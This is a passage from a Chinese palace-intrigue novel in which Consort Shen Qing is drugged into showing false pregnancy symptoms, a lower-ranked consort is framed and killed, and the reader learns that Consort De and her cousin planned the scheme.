此后,即便沈青没特意关注楚嫔,仍能见到她形单影只,孤零零的身影。 宫人不会轻慢了楚嫔,毕竟德妃又不掌宫权,也没将楚嫔往死里打压,更何况,楚嫔也是能立起来的。 甚至于皇后与賢妃也会对楚嫔展现出善意。 请安时,皇后甚至问楚嫔为何穿得那样单薄,并赏了楚嫔好的料子。 賢妃对楚嫔也没那么高高在上,甚至与楚嫔谈起了二皇子的事。 听着贤妃说话,沈青忍不住扶额,和一个无子的嫔妃说这个,得亏楚嫔脾气好。 但楚嫔对两人都不太热忱,赞了大皇子几句,仍是往日低调的模样。 冬去春来,三位皇子最小的也三岁半了。 纪宸指了嬷嬷去照顾皇子的起居,并开始着手给大皇子找启蒙师傅。 贤妃听闻,来了一趟御前,想让二皇子也得一位师傅,纪宸自是没答应,二皇子比大皇子小了半岁。 况且他现在也只是有此意,等找到合适的师傅让大皇子进学,大皇子许是都五岁了。 五岁,也才正适合读书的年龄。 到那时,再留意二皇子的也不迟。 贤妃在纪宸这里被拒绝,扭头去找了太后,不知她是如何说服太后的,太后出面劝了纪宸。 纪宸同意了,但心情很不快,贤妃没注意到,高高兴兴地回去了。 晚上,沈青去了乾清宫。 她下午便听闻了这件事,王定来请她时又详细说了一番,她自是对此事心知肚明。 见到纪宸,不知不觉就提到了此事,沈青安抚道:“为人母妃,总嫌给孩子的不够多,贤妃也是关心则乱。” 若换平常,贤妃会不注意到纪宸的情绪吗? 纪宸仍冷着脸:“她只想事事与大皇子争个先。” 二皇子的事,竟连他都不能做主了。 他抱住沈青:“真想快快到爱妃的生辰,之后生一个我们的孩子。” 【朕一定学会做一个好父皇。】 第96章 第96章淑妃九日 两名宫人进入殿內准备上瓜果糕点与茶饮。 纪宸拿起一个饱满的櫻桃,喂到沈青嘴邊,她下意識吃掉,心绪仍不太平静。 生孩子? 沈青恍然,这不才舒服日子没过几天么,怎么会这么快? 但是算一算,她确实要双十年华了,虽外表看不出什么变化,但心态已经有些微转变。 沈青仔细端详着纪宸,他手上又拿起一个甜瓜,用刀子切成小块,捡了最甜的部分来喂给她。 她一邊点头吃掉,一邊覺着纪宸的变化要更为明显,不怒自威的气势更强了,只是一瞥眼,便能叫人战战兢兢,尤其现在还流露着不快,嘴角向下,宫人奉茶时都没敢发出丝毫茶盏与桌面磕碰的动静。 視线更没四处乱瞟,或波动一二,安静来,安静退下。 殿內侍立的宫人更是呼吸浅浅,常让人忽視他们的存在。 但是他才二十又五,离而立之年还远得很。 纪宸低头,用帕子擦干净手,感受到沈青明显的視线,他眼神清明,摸了摸脸:“怎么了?” 沈青柔声答:“看陛下越来越神俊了。” 她用心想了想:“亦待臣妾更加贴心,恐怕天底下再没有男子能比得上皇上了。” 在她没有任何杂念的纯粹欣赏目光下,纪宸忍了又忍,终究没压住嘴角那丝弧度。 可恶,他怎么随便哄哄心情就好起来了? 在纪宸还沉浸其中时,沈青已经托着下巴,忧愁起方才的事:“若是有了小孩,臣妾能成为一个好母妃吗?” 纪宸想做一个好父皇,她難道不想成为一个好母妃吗? 况且小孩子又不是小猫,随便就养了。 纪宸心中纠結了一番,满是笑意道:“当母妃只管宠溺孩子,若他们犯了错,告诉朕,朕来教育,卿卿只管当个慈母。” 【……这个严父就让朕当罢。】 听心声还挺委屈的……沈青眼中露出满意之色,软着腔调道:“臣妾会教导小皇子或是小公主好好爱父皇的。” 纪宸注视着沈青,眼睛一亮:“那就拜托青青了。” 被他这么一托付,沈青覺得生一个小孩还挺有意思的,会对着他们喊父皇母妃,能和她一起逗纪宸,于是郑重点了点头,承诺下来。 又是一番温言软语,总算用这一茬将纪宸安抚好了。 沈青吃着蜜果,覺得他可太好哄了。 纪宸虽消了气,但对贤妃的行径仍不悦,左右三皇子比二皇子小不了多少,便一起蒙学好了。 对三位皇子,他没有深深喜爱,但也没有打算让他们趋于平庸,只会好生培养。 譬如说他虽见三皇子最少,贤妃是他的表妹,纪璨又常去找沈青,久而久之,他就難免疏忽三皇子,但对三位皇子,在東西方面他尽力做到一视同仁。 二皇子纪珉想要他腰上的坠子,这孩子難得有什么請求,实在让人難以拒绝,但他的玉坠更是一个象征皇帝身份的信物,他便让人给纪珉打了一个属于他的玉坠,见到玉坠便能知道他的皇子身份。 然而他这个念头一起,便发覺不妥,遂将给纪珉的,换成给三位皇子。 每旬他都会过问照顾皇子的嬷嬷关于皇子起居的事,即便皇后德妃贤妃不会纵容奴大欺主的事发生,他仍是要亲自问了才放心。 当然,他这么细致,实质上也是存着积累经验的想法,方便以后教养他和沈青的孩子。 三位皇子的事敲定,三宫的反应不一。 沈青隔了几天被皇后叫到了坤寧宫。 她行礼后坐到皇后身边的椅子上,以她的位份,自不可能在皇后面前做小伏低,或是只做在墩子上,垂首聆听。 沈青询问道:“皇后娘娘寻臣妾来坤寧宫是有什么事?” 早上請安后不留,下午才让萱草去唤她,足见皇后內心对于所谈之事的纠結。 皇后拢眉,语气微凝,开门见山道:“皇上那日见了你,为何最后三皇子与德妃得利?” 沈青了然,原是问罪的,抬眸解释着:“那日皇上正在气头上,臣妾去乾清宫也是让皇上顾惜自己的身体,并不太敢干涉此事,且皇上未提及三皇子,也有自己的打算,臣妾无法改变皇上的心意。” “但是娘娘,皇上本就同意了贤妃所求,再多一个三皇子,难道不是在给贤妃添堵?” 这几天,贤妃看德妃可脸不是脸,鼻子不是鼻子的,认为德妃闷声不响蹭了她二皇子的好处,且她因此事可是吃了皇上好一顿数落,德妃却什么坏处也没落。 皇后闭目,感到心浮气躁,再次开口仍难掩心急:“三皇子纪珹小小年纪便識得千字文,有他在,必会压下璨儿的风头,且皇上明面上待三位皇子挑不出错,璨儿的嫡长身份并不占优。” 这事还是楚嫔无意中说的,当时只有她留心了,再去打听一番,果然,纪珹的聪慧已经掩盖不住了。 德妃可真能稳得住,贤妃对德妃的讥讽也不无道理。 沈青捏着手帕,其实当太子又不是只看聪明,不然天底下智慧超群的人就都该官拜宰相了。 她緩緩道:“事已至此也无可挽回……” 皇后自然知道,不然她为什么纠结见沈青,自己的脾性自己知道,若 见沈青定会忍不住埋怨,可若不见她又不甘心。 沈青补足后面的话:“不如让璨儿拿出当长兄的风范,照料一番两位小皇子,兄友弟恭于璨儿的名声有益。” 皇后目露沉思:“璨儿的课业也该抓紧了,就算差三皇子一些,也不能差的太多。” 皇后话音刚落,沈青便开口了:“大皇子年纪毕竟还小,还是要以身体为重,娘娘万不可操之过急。皇上看重骑猎,若大皇子身子弱了,于学武不利,长久以往岂不是让皇上失望。” 因为看过太多揠苗助长的例子,她并不希望大皇子疲于应对这些,而身心乏累身体受损。 于皇子而言,最能出风头的除了课业便是狩猎了。 皇后反应过来后,有些失落:“本宫又怎会不心疼璨儿?” 沈青松了一口气,璨儿是个好孩子,平日皇后也是惯着的。 她开解道:“璨儿是个懂事的,他若知道娘娘忧愁此事,定会为娘娘分忧,可娘娘也疼璨儿,只怕届时,娘娘反而会劝解璨儿不要过度用功。” 皇后心中酸涩,是啊,她的璨儿这么好,做母后的应该为璨儿夺得太子之位,而非将此事压在璨儿一人身上。 实在是她不该。 沈青见皇后露出心软神情,觉得是劝住了,又陪了皇后一会儿,这才从坤寧宫离开。 坤宁宫外,萱草跑出来,将一件香包塞到欲要走的沈青手里,并冲她眨了眨眼:“答应淑妃娘娘的!” 方才,萱草去承乾宫唤她,沈青见她心情不错,便问何事,原来是萱草最近在学製作香包,并製了好几个,她自是笑吟吟地朝萱草讨了一个。 沈青见状一乐,闻了闻:“果然好香,多谢萱草姐姐。” 萱草弯唇的弧度很大,雀跃道:“喜欢就好。” 沈青当即就把香包佩戴在身上了,她从前是坤宁宫的宫人,萱草与她有私交再正常不过了,再说了,她们也是在大庭广众之下有的交集,并不需遮掩般回避。 萱草见此心里暖融融的,直至回到坤宁宫仍是笑的模样。 荠荷看了她一眼,并未说什么。 萱草原是皇后身边最亲近的宫女,但现在没了淑妃在她与皇后之间调停,即便仍是大宫女,但皇后却越发不待见她,打发了她去管库房,并不叫萱草近身伺候。 萱草还傻乎乎觉得皇后是看重她,更尽心尽力了,皇后见此也不再管她。 如今便是她,说话的分量都要比萱草重。 现在也就萱草有闲心也有空去制香包,给她们一人准备了一个,也仍惦记着淑妃,今日的差事便是萱草特意嘱咐要留给她的。 如今香包送去,萱草可算是满足了。 沈青戴着香包回到了承乾宫,她道:“明日太医来請平安脉时记得提醒本宫让太医检查一下香包,这几天本宫都想戴着它。” 她虽日日去坤宁宫請安,但见萱草的次数不多,仅有几次运气好,才会聊上几句。 收到萱草的東西,她是惊喜的,亦不想辜负了这份情意。 这可是萱草亲手制作的,不知道有多少繁琐的过程才得这样一个好闻的香包。 宫人记下此事,想上前为娘娘取下:“娘娘,不若明日经太医检查过再佩戴?” 沈青虚虚抚开了宫人的手:“不必,不差这半日。” 她闻着只是寻常几味好闻的香,况且萱草再大意也不会让别的東西掺进到里面,这毕竟是她送出手的,若出了问题,首先牵连的便是萱草。 宫人见自家娘娘开心的模样,便没再多劝。 果然,翌日请平安脉结束,太医接过香包里里外外检查了一番,道:“都是普通且寻常的香料,香囊的布料与丝线也没有问题,娘娘用了半日没有出现风疹症状,便是无碍的,淑妃娘娘可随意佩戴。” 沈青点头,没有风疹意味着里面没有让她过敏的東西。 一连佩戴了数日香包。 一日,沈青起身时下意识扶住额头,有轻微的恶心想吐。 等起身穿戴好,那种感觉更强烈了,她看向白桃,皱着眉:“去请太医。” 白桃看出了沈青的难受,只说了一句:“奴婢这就去。”便带着两名小太监疾步往太医院赶去。 白櫻上前扶住沈青,关切问:“娘娘这是怎么了?” 沈青耷拉着眼睛,无精打采:“恶心、想吐。” 室内一静。 沈青抬头看向她们,却发现宫人的神情很奇异,做娘娘的生病了,她们反倒压抑着高兴。 只听白樱激动道:“要不要奴婢现在去请皇上过来?” 沈青这时方领悟到她们的意思,她们觉得她这是懷孕了,但自己的身体自己清楚,不说她与纪宸的打算,单论懷孕的感觉,她是没有的。 “本宫不是怀孕了。” 白樱关切中泛着心疼,定是娘娘失望的次数多了,才真话反说,以此来冲淡结果并不理想的失望感。 毕竟娘娘每每请平安脉,总会问一句,本宫的身体没问题吧? 足可见娘娘是期许着能有一个孩子的。 白樱小心翼翼问:“那奴婢还要去请皇上吗?” 沈青想着纪宸上午总在批奏折,便不想打扰他,然而话还没说出口,强烈的晕眩感袭来,最后有意识前只听到白樱扑上来抱住她时焦急唤的一声娘娘。 承乾宫难得慌乱起来,这下,宫中全知道淑妃娘娘晕倒了。 沈青头痛难忍醒来时,放在床榻边的手被人紧紧握着。 趙太医惊惶中透着冷静道:“皇上,您这样微臣无法给淑妃娘娘把脉。” 纪宸闻言将她的手捋直,仍握着手心,露出手腕:“这样把脉。” 趙太医大概想将帕子垫在她腕上,却被纪宸阻止:“淑妃的身体要紧,直接把脉,无需顾及其他,朕恕你无罪。” “微臣得罪了。” 沈青听着这些声音,料想自己晕倒的时间应是不久,她想睁开眼,手却先动了动。 “皇上,娘娘的眼睫颤了颤!” 纪宸比这句话更先注意到的是他握着沈青的那只手,他感受到了手指的微动,闻言,又看向沈青的脸庞。 果然见鸦黑睫羽轻轻颤动着。 但是即便没睁眼,沈青也是皱着眉的,能想象得到她有多难受。 纪宸只恨不能代她受罪。 沈青终于是睁开眼,她的眼皮仍很沉,眨眼都费力,她侧脸看向纪宸,眼中露出明显的委屈,安静等着太医的结果。 纪宸亦没说话,在她满是依赖与委屈的目光中,心脏像被针扎般难受。 趙太医松开手,目露欢喜:“恭喜皇上,贺喜娘娘,淑妃娘娘这是喜脉!” 【庸医!】 他对天发誓,他绝对没有做出那种提前让沈青的怀孕的事。 室内的其余宫人唇畔噙上了笑,只是很快便因帝妃二人的话忧心起来。 纪宸牢牢握住沈青的手,语气沉闷:“朕没有骗你。” 沈青脸上满是垂丧之气:“我头疼。” 她没想到,都是太医了,诊出她怀孕这个错消息不说,也没意识到她头疼难耐。 纪宸见状吩咐钱继:“将太医院当值的太医全部召来。” 然后伸手按揉着她的额头,又问在场的趙太医:“淑妃头痛如何缓解?” 赵太医忙道:“淑妃娘娘,可否描述一下您的头疼之 症?” 沈青语气飘的厉害,但吐字清晰,现在她正头疼,自也描述的更为清楚深刻。 赵太医思忖着:“许是气味犯冲了,娘娘近来可贴身佩戴过什么?” 沈青示意白桃将香包递给赵太医,有气味的也只这一个了。 白桃道:“这个香包娘娘已经佩戴数日了。” 赵太医检查过后,也跟那日的太医一样:“香包没问题。” 他的视线扫过床榻周围:“淑妃娘娘这两日或这段时间可贴身戴过、用过什么东西吗?没有气味的也可以。” 白桃找出几件,让赵太医一一辨明。 赵太医暂时退下,此时,钱继带着太医院的太医到了殿内。 几位太医把过脉后对视一眼断言道:“脉象如滑珠滚玉盘,正是喜脉。” 沈青轻声提醒着:“前几日太医来给本宫请平安脉,那时并未把出喜脉。” 况且她葵水也刚来过。 在她犹豫怎么告诉太医时,只听一名太医道:“娘娘有孕一个月有余,按理说只要在此前十天之内都能把出是喜脉。” 太医院的太医绝没有会把不准一个喜脉。 这名太医话音一落,其余太医纷纷凝重起来。 以他们当太医的敏锐度,已经察觉此事的扑朔迷离,绝非他们能掺和的,但皇上和淑妃在此,他们便没什么好怕的,暗自分析起是何种原因导致的有孕。 从皇上和淑妃的态度,聪明的已经早察觉出淑妃不可能此时有孕。 至于为什么,他们却不敢往深处想。 毕竟,淑妃既得了皇上专宠,又无法此时有孕,而淑妃的这几年脉案他们或多或少都看过,淑妃的身体是没问题的。 那有问题的只能是…… 而且听着骑马骑多了的男人子嗣相当艰难…… 纪宸道:“先给淑妃治头疼之症。” 一番折腾下来,沈青头上被扎了几针,但头晕的症状却缓解了不少,紧蹙的眉头也慢慢松开。 赵太医也带着东西过来,神色凝重道:“娘娘的手帕上被浸了无色无味的东西,微臣用家传的法子方才验了出来。微臣猜测,许是这种东西才使娘娘呈现假孕症状,而娘娘的香包,香气浓郁,气息纷杂,应是有一位香料与这帕子上的东西混合,才让娘娘加重了症状,假孕时的恶心想吐变成了强烈的晕眩感,才使娘娘不觉得自己有孕。” “若要解决也有简便的方法,只需将这两样东西远远拿走,娘娘头疼症状便可缓解,滑脉过几日也会恢复成正常的脉象。” 纪宸示意钱继将这两样东西拿走。 钱继心领神会,让人直接送去了太医院。 毁自是不能毁的,不然,证据就没了,但放到哪儿都叫人不安稳,不如让太医再多加研究,找出帕子上的东西到底是什么。 况且方才的几名太医神情好似有些怪。 白桃看向那条帕子,那正是她挑出来给赵太医的,她道:“这条帕子是娘娘半个月前在皇上的乾清宫落下的,之后不多时便送回了娘娘手中,因娘娘极喜爱这条帕子,便断断续续用着,每隔一日便会有人清洗。” “若是帕子上沾了东西,难道不会被水洗掉吗?” 赵太医摇了摇头:“这……还得将帕子洗一遍,方知会不会被洗掉。” 纪宸最担心的是沈青的身体,便道:“此事之后再查验,朕要你们保淑妃的身体无碍!” 太医纷纷称是。 在继续诊治的过程中,沈青也说了她月信前几日刚来过,确保没有误导太医,这才情绪表露,神情恹恹。 纪宸的手放到沈青脸颊边,沈青顺从地贴了贴他的手掌。 很快,太医讨论出一个药方,令人熬制后,端到了沈青面前。 他们派出一个人道:“淑妃娘娘,此药可以缓解您的不适,但喝过药容易犯困,娘娘可以好好睡一觉。” 沈青点头,端过来慢慢饮完,白桃给她递了块蜜糕。 之后她便老老实实继续躺在床上。 纪宸仍在她床榻边,以至于有人过来向他禀报,也只能极力压低了声音。 伴随着不太吵的细微动静,沈青握着纪宸的手安稳地闭上了眼。 反正天塌了有皇帝,况且她那手帕落过乾清宫一次,纪宸总要查明白的。 她心中不是很担忧,但仍不喜幕后对她下手的人。 毕竟这可是假孕,除了她,任意一个嫔妃遇到这种事,太医又一口咬定是怀孕了,那嫔妃便百口莫辩,冤都要冤死了。 放到她身上也很不妙,她这么长时间未孕,若没有和纪宸的默契,知道这个消息定会欣喜若狂,待到真相揭露,找到证据还好,只会沦为一时笑柄,但找不到证据,旁人只会觉得她是想要孩子想疯了,甚至于皇上也会疏远她。 沈青迷迷糊糊想着,没能抵过强大药力,很快沉沉睡去。 第97章 第97章淑妃十日 因为事情涉及乾清宫,在闻喜将承乾宫排查一遍时,王定也在查乾清宫。 然而,他刚着手检查不久,便发生了一件事,御前一名资历深厚的太監申义死了,就死在不久前,是自尽而亡。 王定拿帕子捂住口鼻,检查着申义的尸体,确定是自尽无疑,这才站了起来:“他怎么得了消息,皇上去承乾宫后可有人出入过乾清宫?” 这前前后后不过一个时辰,幸而发现的早,若要排查誰接触过申义还是容易的。 他话音一落,便有人去整理进出过乾清宫的名單。 申义的徒弟申方眼中惊恐,双手颤抖到冷静不下来,他是第一个发现申义死的人,因此极力详细道:“我一刻钟前来找師父,師父面色便不对,但我还未开口,师父就让我去给他上壶茶,师父既有心思喝茶,我便没有多想。等再回来时,就是这样了,我方才不该走的,我若不走,师父也就不会死了。” “师父早上没有出去过乾清宫。” 王定看了一眼门槛处泼出的茶叶与茶水,以及滚到一旁的茶壶,对他的话只信三分。 他看了旁邊的太監一眼,那名太監当即就将手搭在了申方的肩膀上:“走一趟吧。” 申方死死咬着牙,作为在御前活动的人,他知道走这一趟意味着什么,申义死了,死人嘴里撬不出什么,而他成为申义的徒弟已经三年了,王定懷疑他替申义隐瞒了什么,又不耐烦细细询问,便想用刑。 申方的牙齿咬的嘎吱作响,王定仍在看申义的尸体,并不管他。 等一名宫人整理出这一两个时辰誰出入过乾清宫后,王定的视线迅速掠过名單上的人,旋即挑出几个名字一起带走,同申方一起审讯。 一盏茶后,王定从申方嘴里得了消息,挑拣了数名身强力壮的太监直奔后宫而去。 …… 这一覺,沈青睡了两个时辰,她醒来时,纪宸听到动静,给她递了杯水,见她喝罢,才道:“事情查清楚了。” 沈青将水喝完,握着瓷杯问:“谁?” “林贵嫔。” 沈青的疑惑更重了,对于林贵嫔,虽然对方的存在感一直很小,但她也是了解的。 林贵嫔曾与杜婕妤同处一宫,当时的林贵嫔还是叫惠贵嫔,她身邊的宫女翠环还曾收买过她,她自是记忆犹新,毕竟那可是一支金簪,彼时她入宫两年,还是第一次有人对她这么大方。 当然,后面查清翠环其实是賢妃的人,并非是林贵嫔主动在后宫安插人手,但林贵嫔在她这里,还是落下了个御下不严的印象。 后来林贵嫔因为欺负嫣婕妤,被褫夺了封号,降位林嫔,亦表明她这人是有几分糊涂在的。 林贵嫔与賢妃交好,如果假孕这事算到林贵嫔身上,那大约便是賢妃在背后指使了。 毕竟林贵嫔可没有能耐在御前安插人手,且她一个好好的主位娘娘不当,为何要与她这个宠妃作对?即便林贵嫔讨厌她,那也没必要动用御前的人手算计她 ,就算是算计成功,将她扳倒了,结果可对林贵嫔没有任何利好。 她膝下无子,之前亦无宠。 而賢妃与她有旧怨,若心中怨气久久不散,倒有可能这么算计。 沈青疑惑问:“为何是她?臣妾与她一贯没什么交集,且一个月话也说不了几句。” 纪宸短暂沉默了一瞬:“因为她恨朕,所以想要报复你。” 查到是林贵嫔时他心绪也不平静,他不相信是林贵嫔所为,但…… “林贵嫔上吊死了,方才的话是她写在遗书里的,坦白了这件事是她所为,并控诉了朕,因为朕,所以迁怒了你。” 沈青满是震惊,林贵嫔怎么死了? 她仍不信是林贵嫔所为,比起證據指向林贵嫔这件事,她更震惊于堂堂一个有品阶的娘娘,竟然这么无声无息的死了,没有任何人提前发现并阻止。 如果提前阻止了林贵嫔,真相绝不是这样简单。 林贵嫔就是个替死鬼。 若林贵嫔真做了这件事,何不好好活着,走到纪宸面前控诉纪宸,妃子自戕是死罪,会牽连家族,若只林贵嫔一人犯错受罚,林家被牽连的反而还会少。 宫里的嫔妃少有不以家族为重,林贵嫔能狠心舍弃林家? 沈青声音干涩:“林贵嫔的宫人呢,她已是贵嫔,身边再怎么说,也会有两名宫人隨身伺候,怎么会让林贵嫔出事?” 纪宸伸手摸了摸沈青的额头,不忍道:“事发前,林贵嫔身边的翡翠遣散了林贵嫔身边的宫人,同林贵嫔一起赴死了,林贵嫔是被床帐吊亡的,而翡翠则喝了毒酒,死在林贵嫔的床榻边。” “毒酒是见血封喉,王定到的时候翡翠已经死了有一会儿。” 稀奇,林贵嫔没提前準備好白绫,翡翠却提前準備好了毒酒。 沈青抱住他的手腕,唇上没什么血色:“翡翠一个宫女,怎么可能得到见血封喉的毒藥,既有毒藥,必会在宫中留下痕迹。” 见血封喉的毒药可不便宜,既要考验门路,又得准备好充足的银子。 不可能不露行踪。 真当毒药是隨随便便就能有的吗?在宫内,这可比救命良药都珍贵。 “王定还在查,翡翠与朕那里的一名太监申义有染,是在太子府便开始了,是翡翠让那名太监用香熏染了你的帕子,常久用着便会潜移默化使身体呈现假孕症状,只是因为你戴的香包与那脏东西犯冲,症状变了,身体才正常来葵水,反应也更剧烈些。” “若是原本正常中招,没懷过孕的女子很难分清真伪。” 沈青记得翡翠,她是林贵嫔身边最信赖的宫人,按理说没道理会背叛林贵嫔。 还有这种让人假孕的香,又是什么人从何处得的? 沈青有太多的疑惑,最终道:“皇上,臣妾覺得林贵嫔冤枉,她虽不喜臣妾,但不可能会策划这些。” 若能缜密到如此地步,当年林贵嫔也不会因嫣嫔而失了封号和贵嫔之位了。 纪宸道:“朕心里有数,此事朕让王定暗中查下去了,但会暂定林贵嫔为凶手,以宝林位份下葬,待到真凶觉得此事了解,露出马脚,朕会搜集證據,届时让林贵嫔以妃位安葬,也会为你讨回公道。” 妃位不可谓不高,贵嫔之上是从二品的昭仪修容之类的封号,然而纪宸却跳过了从二品,直接敲定林贵嫔将来会以妃位安葬。 纪宸对林贵嫔的态度可不算好,林贵嫔的“遗书”还在愤恨他这个当皇帝的。 那么纪宸选正二品的妃位作为林贵嫔的最终归宿,更可能是他已经有了懷疑的人,而那个人正在妃位上。 不是贤妃,就是德妃了。 沈青静悄悄垂泪。 纪宸感受到手上一片冰凉,发现是沈青的眼泪顺着脸庞滑落,滴到了他手上,忙更靠近她,着急询问:“怎么了,是林贵嫔的事吓到你了?朕会对后宫加强巡逻,绝不会让这种恶事再发生,也不会让你再落到这种险境。别怕。” 他自诩他的后宫还算清明,却在他的眼皮子底下生出这种杀人灭口的事,他不可能当作无事发生,真任人逍遥了。 沈青哭着道:“是不是臣妾惹了贤妃,林贵嫔才遭此横祸?” 纪宸将她的泪慢慢擦掉:“无需自责,有人知道翡翠与申义情分不同,说明早盯上了林贵嫔,与你无关,无论换了谁,那人都会推林贵嫔出来顶罪,且朕觉得是贤妃的可能性很小。” 【若是贤妃,林贵嫔就该主动顶罪了。】 【皇后那次的事,林贵嫔不就是那样做的么,再来一次,哪有林贵嫔主动承认的效果更好?】 【贤妃不是非杀林贵嫔不可。】 沈青的眼泪不是博纪宸同情与关怀的,她是真的伤心,为了算计她一次,填进去了林贵嫔与翡翠两条人命,甚至纪宸口中的申义结果也不会好。 再牵连一番,何止是两条人命。 不是贤妃,那就是德妃了。 沈青扑在纪宸怀里,眼中藏有暗芒。 若要证据,还不简单?德妃娘娘最看重的就是三皇子了,必不可能再让其他人威胁三皇子的地位。 即便德妃稳得住,可若三皇子入了纪宸的眼,得纪宸看重之后呢? 她还未怀孕,德妃都有这样的算计,她若怀孕,肚中的胎儿又威胁了三皇子在纪宸心中的地位,宫中风言风语一传,不信德妃不出手。 这一次,有了准备,找证据还不是探囊取物? 沈青止了泪,仍是哭腔道:“等臣妾身体好了,我们要一个孩子吧,不然臣妾久久未孕,于皇上的名声有碍。” 一些流言不会传到纪宸耳中,但她却有所耳闻。 她自是知道纪宸没问题,从承乾宫的频繁叫水也能侧面证明纪宸的能力,但流言若能就此止住,那就不叫流言了。 纪宸自是忙不迭地答应,顺从沈青已经成为他的本能,况且他也是期盼了。 再过三个多月便到沈青二十岁生辰了,等沈青养好身子,日子其实是没差的。 况且,怀孕这种事又不是一想就能有。 还有的慢慢厮磨。 假孕的事全程由纪宸处理,乾清宫清理了一批人,伺候林贵嫔的宫人被责罚,林贵嫔被定罪。 此事暂了不过用了半日,但太医院还在研究那种使人假孕的东西,王定抓住翡翠这条线不放,他怀疑翡翠根本就不是林贵嫔的人,身后另有主子。 纪宸夜半时将积压的折子批完,让人传唤了钱全忠。 而沈青,则在积极养好身体,她向坤宁宫告了假,不再去请安,另外送了萱草许多银两。 萱草的香包可起了大作用,纪宸亦封萱草成为女官,是正五品的宫正,起监督后宫嫔妃与女官不轨行为的作用。 宫正一职刚空出来没多久,不少人正盯着呢,纪宸大手一挥,直接划拉给了萱草。 皇后听闻自是复杂,但宫正落到自己人手中绝对是件好事,而非提拔一个身后不知道站着谁的女官。 她细细挑选了东西赏赐给萱草。 第98章 第98章淑妃十一日 永寿宫中,德妃听着枇杷在说皇上如何處理淑妃假孕一事,雖对此结果毫不意外,但还是劫后餘生轻轻舒了一口气。 林贵嫔的死是石榴處理的,手段干脆利落不留痕迹,不愧是李家专门为她培养的人。 德妃思索着,她们这次还是太冲动,不够缜密。 也怪淑妃的运道实在好,按理说没怀过孕的女子很難分辨假孕与否,更何况刚开始连太医都糊弄过去了。 若是顺利的话,这会儿淑妃的尾巴都該翘到天上去了,她越是骄傲,最后真相揭露她就摔的越惨,如今想来,真是可惜。 连续两次设局,淑妃都躲过了,短时间内,德妃一点都不想再碰淑妃这个硬茬。 然而,许是看出了堂姐的心思,坐在她右手邊的李贵嫔轻轻扇了扇眼睫,声音轻而浅道:“姐姐,淑妃一日不除,三皇子就绝无当上太子的可能。” “当年正是先帝寵妃昭贵妃生下永福公主,因不是皇子,皇上才会被封太子,当年先皇存着将皇位传给昭贵妃所生之子的打算,雖未成,但咱们这个皇上未必没有这个打算。” “淑妃比之昭贵妃要得寵,更是专宠,皇上若没有这个打算,就不会遲遲未立太子。” “姐姐,你我皆知,淑妃的运道不一般。” 不然换做其他人,几年都未怀有皇嗣,早該引起皇上不滿了,但到淑妃身上,却盛宠依旧,甚至于,皇上还信任她。 一个得皇上信任的嫔妃,做起事来可太方便了,无论做了什么坏事皇上都不会怀疑到她身上。 首先起的念头反而是定有人栽赃陷害,即便证据确凿,皇上也只会覺得是旁人的手段太高明,反正不是淑妃的错,淑妃就是一朵亭亭无暇的荷花。 皇上可是天底下最多疑的人,多的是皇帝不信母不信子,不信枕邊人。 单淑妃能得皇上信任和毫无保留的宠爱,李贵嫔便可断言淑妃的不简单,淑妃也是她唯一一个想要除掉且动了杀心的人。 德妃看向李贵嫔,在她入宫前,她原以为她这个堂妹仍是小时候那个任性的小姑娘,但入宫后,李宛意却惊到了她,处事周到事事妥帖性子沉稳,她还想着李宛意是正了性子,因此一些下作手段她都不会给李宛意说,生怕她会阻止 但没想到李宛意其实一直未变,她仍是那个执拗的人。 只是更会伪装了,只有遇到一些人一些事的时候才会暴露。 德妃并不想现在出手对付淑妃,假孕的事也不是她最开始提的,反而是李宛意先开口的。 宫里给贵嫔送来的香料都是顶好的,但李宛意身邊的宫人不慎将几种香料混合,再点燃后因为味道还算不错,李宛意便一直这样用着,直到她的月信开始推迟,症状跟怀孕越来越像,懂些医理的宫女诊出她是滑脈。 李宛意生过孩子,当然能分清真的怀孕与这个的区别,但即便如此,在这些症状下,她仍会恍惚。 于是她将这件事悄悄瞒下,那个月的平安脈也是宫人坐在帘子后面由太医悬丝诊脉的。 之后她查明是香的缘故,又惊喜发现致使这种症状的香是无色无味的,于是她自然而然起了念头。 但她在宫中人手不足,李家的人脉尽数掌握在德妃手中,这件事只能由德妃来做。 德妃一思量等到淑妃怀孕,这种手段便可轻易堪破,明白宜早不宜迟,便通过林贵嫔做遮掩朝淑妃下手。 面对德妃复杂的目光,李宛意神情未变,她若什么都不为德妃做,当初何必入宫? 屋内都是自己人,所以她们说话没什么顾忌,也没相互打哑谜。 德妃道:“对付淑妃不急,出了这事,淑妃必会警惕起来,最近不宜下手。石榴,你这几个月不要离开永寿宫,避避风头,枇杷,你去照料三皇子,防着其他人对三皇子下手。” 石榴会武艺,能力大,枇杷忠心耿耿又细心,这般安排再好不过了。 且三皇子快要出永寿宫和大皇子、二皇子一起进学,枇杷跟在纪珹身邊,她才会放心。 石榴与枇杷双双称是。 李贵嫔眼中闪过郁郁之色,淑妃此时除不掉,拖到她怀孕,皇上必会护着她,到时再想下手就難了- 沈青这一养病,便是月餘,不用早起去请安的日子还是太自在了,但正因养病,她也不好正大光明去逛御花园,便捡起了刺绣,练耐性。 她的病其实早几天便好了,兰修容与陈婕妤常来看她,对此也心知肚明,只是覺得她仍心情低落,这才一直称病。 尤其兰修容一看她手上绣的东西便想叹气,那都是小孩子用的,偶尔才会出现皇上能用的東西。想来,淑妃是盼着有一个孩子的,对先前的事仍耿耿于怀,心情不佳可太正常了。 所以她们也没多劝,陪着沈青一起做些东西。 沈青低头刺绣,却在心中盘算着她在后宫的眼线,以往她只局限于承乾宫可太浪费了,加上沈家的生意越做越大,已经超过了原本的主支。 而沈秀秀每年送入宫的银票也越来越多,有钱能使鬼推磨,虽买不了人命,但大把的银票撒下去,她也不算成了个睁眼瞎。 更何况,多少人都想依附承乾宫,以前苦于无门路,现在递来橄榄枝,焉有不应的道理? 这一个月里,她便在做这件事,她也知道不能张扬,都是白樱与闻喜私底下悄悄进行的。 且她知道纪宸的底线在哪里,操作起来就更方便了。 她收集到的消息不算少,但关于德妃有用的便只有两三条。 譬如说德妃将她身边的枇杷分到了三皇子身边,在永寿宫露不出什么重要消息,但沈青仍根据这一点点東西意识到了德妃身边一个叫石榴的宫女不同寻常,并找人暗中盯住了石榴。 彻底病愈的第一日,沈青便去坤宁宫請安了,早上請安时的日头不算晒。 嫔妃打量着面容姣好、肌肤透亮、唇红齿白的淑妃,暗叹着一点都不像病了的模样,心里一方面对假孕一事的无疾而终感到扼腕,一方面因为林贵嫔的死即便想提起此事心中也有顾虑。 但贤妃明显没有那个顾虑了。 林贵嫔与她交好,却这么不明不白的死了,她自是生气。 